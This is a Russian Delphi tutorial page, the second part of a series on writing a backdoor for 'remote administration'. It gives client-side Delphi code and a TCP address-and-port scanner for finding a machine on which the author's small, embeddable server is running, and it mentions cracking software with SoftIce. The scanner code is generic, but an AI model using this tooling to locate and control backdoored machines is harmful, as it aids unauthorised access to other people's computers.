Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
BackDoor - удалённое администрирование 2

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

- В чем заключается многозадачность Windows?
- Она глючит и работает одновременно.

Начнем с отзывов. Во-первых, спасибо за положительные. Во-вторых, я допустил ошибку, а никто и не увидел. Процесс обработки очереди надо все-таки терминайтить. Но об этом далее. В-третьих, комментариев в коде вполне достаточно. Я так пишу. Охоту к написанию комментариев у меня отбили еще в универе. А если не можешь разобраться, так нафига вообще трепыхаться - ходи на порно-сайты и дыши с присвистом. В-четвертых, объясню почему сервер писался на асме. На это есть 6 причин:

  1. Быстродействие. Все равно быстрее будет работать чем на сях и delphi (не говоря уже о тормознутом визуал бейсике. Такой язык надо в школе изучать - это надо ж, грузить dll-и и запускать с них функции);
  2. Размеры. 11 kb "всунуть" в что-то все таки легче чем, например, 100;
  3. Если мы пишем на асме, то имеем дело с ошибками своими и мелкософта, а не с глюками программера из фирмы Borland. Взять хотя-бы "RadioGroup" в Delphi;
  4. В ранних версиях "DTr", периодически возникала ошибка 10060 асинхронной работы. Только на некоторых компьютерах, но все-таки. Написание сервера на сях не помогло. После выхода версии на асме и сооружения в клиенте процесса обработки очереди приходящих сообщений, у меня еще такой ошибки не возникало;
  5. В своих продуктах фирмы по производству программного обеспечения, любят при ошибке вызывать исключительную ситуацию, на что виндоуз реагирует показом "красивого" окошка с сообщением об ошибке. Некоторые такие реакции не подавляются try-except. Для сервера это, мягко сказать, нежелательно. В асме все проще;
  6. Для борьбы с буржуйскими программами с помощью WINdasm, SoftIce и т.п., ассемблер надо знать. А для того чтобы его знать, на нем иногда надо писать. Завести 2-ой комп и бегать, смотреть на одном окно SoftIce, а на другом доки - это сильно круто.

Теперь продолжим разговор о нашем клиенте. Как я уже говорил, процесс обработки очереди при разсоединении и выходе из проги надо прерывать. Для этого модифицируем нашу процедуру "ClientSocket1Disconnect", вставив в нее вот такой код:


if not RecvThread.Terminated then
begin
  while not RecvThread.Terminated do
  begin
    try
      RecvThread.Terminate;
    except
    end;
    sleep(100);
    Application.ProcessMessages;
  end;
end;
LstRbeg:=nil;
LstRend:=nil;

Также нас интересует событие, происходящее перед выходом из клиента. Выделим нашу форму ("Form1"), перейдем в "Object Inspector" на закладку "Events" и 2 раза "click"-нем по "onClose". Перейдем в раздел кода и запишем:


// Выход из проги
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caNone;
  if constat then
    Form1.Button1Click(Sender);
  Application.ProcessMessages;
  Application.Terminate;
  Halt(1);
end;

Теперь поговорим о визуализации и удобстве работы с клиентом. Кнопки, которые отвечают за посылание серверу команд, надо как-то выделить. Для этого воспользуемся объектом "ImageList" с закладки "Win32" ("ImageList1"). Помещаем его на форму и с помощью правой кнопки мыши добавляем в него изображения для кнопок. Теперь нужно выделить "ToolBar1" и в его свойстве "Images", из всплывающего списка, поставить "ImageList1". После этого перейдем на "ToolButton1", в свойстве "ImageIndex", выберем нужный рисунок. Для отображения "всплывающей" подсказки в свойстве "ShowHint" поставим "true", а в свойстве "Hint", напишем "Кнопка № 1". Очень информативно.

Сканер для сервера.

Допустим, мы знаем, что серверная часть запущена у человека (это звучит гордо), пользующегося услуами провайдера "Slow". Мы также знаем пространство адресов этого провайдера. Но мы не знаем, какой адрес даст провайдер этому челу.

Или у нас есть локалка. Почему-то иногда прога путает адреса на плюс-минус два. Почему - до сих пор не знаю (данная проблема была замечена не мной), но если кто знает, то пусть отпишет в "Отзывы".

Или мы изменили порт, а какой забыли.

Для всего этого нам нужен сканер по адресам и портам. То, о чем пойдет речь далее, можно использовать не только для нашего сервера. Итак, в Delphi, в проекте нашего сервера, выбираем в верхнем меню "File"-->"New Form". Пусть это будет "Form2". В свойстве "Caption" пишем "Сканер". Размещаем на форме компоненты:

Edit1
С какого порта начинать сканирование;
Edit2
По какой порт;
Edit3
Первые 3 цифры адреса в виде "xxx.xxx.xxx.xxx" (без точки в конце);
Edit4, Edit5
Диапазон последней цифры адреса;
Edit6
Время ожидания соединения (в секундах);
Button1
Начать/прекратить сканирование;
Memo1
Отчет сканирования;
ProgressBar1, ProgressBar2 (Win32)
Для визуализации процесса перебора по адресам и портам соответственно;
ClientSocket1
И так понятно.

Теперь на "Form1" лепим кнопку, обзываем ее "Scaner" и нажимаем на ней два раза. В разделе кода пишем :


// Scaner
procedure TForm1.Button2Click(Sender: TObject);
begin
  Form2.WindowState := wsNormal;
  Form2.Visible := true;
  Form2.SetFocus;
end;

В раздел "uses" добавляем "Unit2". Переходим на "Form2". Два раза нажимаем на "Button1", на события "onConnect" и "onError" в "ClientSocket1" и на "onClose" в "Form2". Вот текст модуля "Unit2.pas":


unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, ScktComp;

type
  TForm2 = class(TForm)
  Edit1: TEdit;
  Edit2: TEdit;
  Edit3: TEdit;
  Edit4: TEdit;
  Edit5: TEdit;
  Edit6: TEdit;
  Button1: TButton;
  Memo1: TMemo;
  ProgressBar1: TProgressBar;
  ProgressBar2: TProgressBar;
  ClientSocket1: TClientSocket;
  procedure FormClose(Sender: TObject; var Action: TCloseAction);
  procedure Button1Click(Sender: TObject);
  procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
end;

var
  Form2: TForm2;
  Rez11: Boolean = false;
  Bool: Boolean = false;

implementation

{$R *.DFM}

//Close Scaner
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  // если запущен, то прерываем процесс
  if Rez11 then
  begin
    Action := caNone;
    Form2.Button1Click(Sender);
  end;
end;

// Включить/отключить сканер
procedure TForm2.Button1Click(Sender: TObject);
var
  I, J, K: Integer;
  DopStr: string;
begin
  if Rez11 then
  begin
    // прервать сканирование
    if Application.MessageBox('Прервать сканирование?', 'Сканер', mb_YesNo + mb_IconQuestion) = idYes then
    begin
      Rez11 := false;
      Bool := false;
    end;
  end
  else
  begin
    // запуск сканера
    if StrToInt(Form2.Edit2.Text) < StrToInt(Form2.Edit1.Text) then
    begin
      Application.MessageBox('Неверно указан диапазон для портов','Сканер', mb_Ok + mb_IconStop);
      exit;
    end;

    if StrToInt(Form2.Edit5.Text) < StrToInt(Form2.Edit4.Text) then
    begin
      Application.MessageBox('Неверно указан диапазон IP-адресов','Сканер', mb_Ok + mb_IconStop);
      exit;
    end;

    Form2.Caption:='Идет сканирование...';
    Form2.Memo1.Lines.Clear;

    try
      DopStr := trim(Form2.Edit3.Text);
      Rez11 := true;
      Form2.Button1.Caption := 'Отмена';
      Form2.Memo1.Lines.Add('-------------' + #13 + #10 + '===========');

      // начальные значения для порта и адреса
      I := StrToInt(Form2.Edit1.Text);
      J := StrToInt(Form2.Edit4.Text);

      try
        Form2.ProgressBar1.Max := StrToInt(Form2.Edit2.Text) - StrToInt(Form2.Edit2.Text) + 2;
        Form2.ProgressBar1.Position := 1;
        Form2.ProgressBar2.Max := StrToInt(Form2.Edit5.Text) - StrToInt(Form2.Edit4.Text) + 2;
        Form2.ProgressBar2.Position := 1;

        // цикл по адресам
        while I <= StrToInt(Form2.Edit2.Text) do
        begin
          J := StrToInt(Form2.Edit4.Text);
          // цикл по портам
          while J <= StrToInt(Form2.Edit5.Text) do
          begin
            Application.ProcessMessages;
            if not Rez11 then
              break;
            Form2.ClientSocket1.Active := false;
            Form2.ClientSocket1.Port := I;
            Form2.ClientSocket1.Address := trim(DopStr) + '.' + trim(IntToStr(J));

            try
              // попытка соедениться
              Form2.ClientSocket1.Active := true;
              Application.ProcessMessages;

              // время ожидания
              Bool := true;
              K := round(StrToInt(Form2.Edit6.Text) * 1000 / 50);
              while Bool do
              begin
                Sleep(50);
                Application.ProcessMessages;
                dec(K);
                if K=0 then
                begin

                  try
                    Form2.ClientSocket1.Active:=false;
                  except
                  end;
                  break;
                end;
              end;
            except
            end;

            Application.ProcessMessages;
            Form2.ProgressBar2.Position := Form2.ProgressBar2.Position + 1;
            inc(J);
          end;
          inc(I);
          Application.ProcessMessages;

          if not Rez11 then
            break;

          Form2.ProgressBar1.Position := Form2.ProgressBar1.Position + 1;
        end;
        Form2.ProgressBar2.Position := Form2.ProgressBar1.Position + 1;
        Form2.ProgressBar1.Position := Form2.ProgressBar1.Position + 1;
      except
        Application.MessageBox('Ошибка выполнения операции', 'Сканер', MB_Ok + mb_IconStop);
      end;
      Form2.Button1.Caption := 'Сканер';
      Form2.ProgressBar1.Position := 0;
      Form2.ProgressBar2.Position := 0;
      Form2.Caption := 'Сканер по адресам и портам';
      if Rez11 then
      begin
        Application.MessageBox('Процедура сканирования по адресам и портам закончена.', 'Сканер', mb_Ok + mb_IconAsterisk);
        Form2.Memo1.Lines.Add('-----------------'+#13+#10+'========== ВСЕ АДРЕСА И ПОРТЫ ОТСКАНИРОВАНЫ'+#13+#10+#13+#10);
        Rez11 := false;
      end
      else
        Form2.Memo1.Lines.Add('------------'+#13+#10+'============== ПРЕРВАНО НА порт-'+IntToStr(I)+', адрес-'+trim(DopStr)+'.'+IntToStr(J-1)+#13+#10+#13+#10);
    except
      Application.MessageBox('Ошибка инициализации процесса.','Сканер',mb_Ok+mb_IconStop);
    end;
    Form2.Caption:='Сканер по адресам и портам';
  end;
end;

// Есть ответ сервера
procedure TForm2.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
begin
  // если соеденились вывести сообщение
  Form2.Memo1.Lines.Add('***' + #13 + #10 + 'Порт: ' + IntToStr(Form2.ClientSocket1.Port) + ' ' + 'Адрес: ' + Form2.ClientSocket1.Address + ' - ЕСТЬ ОТВЕТ' + #13 + #10);
  Application.ProcessMessages;
  // прервать время ожидания
  try
    Form2.ClientSocket1.Active := false;
  except
  end;
  Bool := false;
end;

// Ошибка при соединении
procedure TForm2.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  // прервать время ожидания если ошибка
  ErrorCode := 0;
  Bool := false;
end;

end.

Теперь проверим. Запускаем сервер и клиент. Жмем кнопку "Сканер". В "Edit1" пишем "10001", в "Edit2" - "10001", в "Edit3" - "127.0.0", в "Edit4" - "1", в "Edit5" - "254", в "Edit6" - "1". Все значения без кавычек. Жмем нашу кнопку начала сканирования. Все, проверка закончена.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay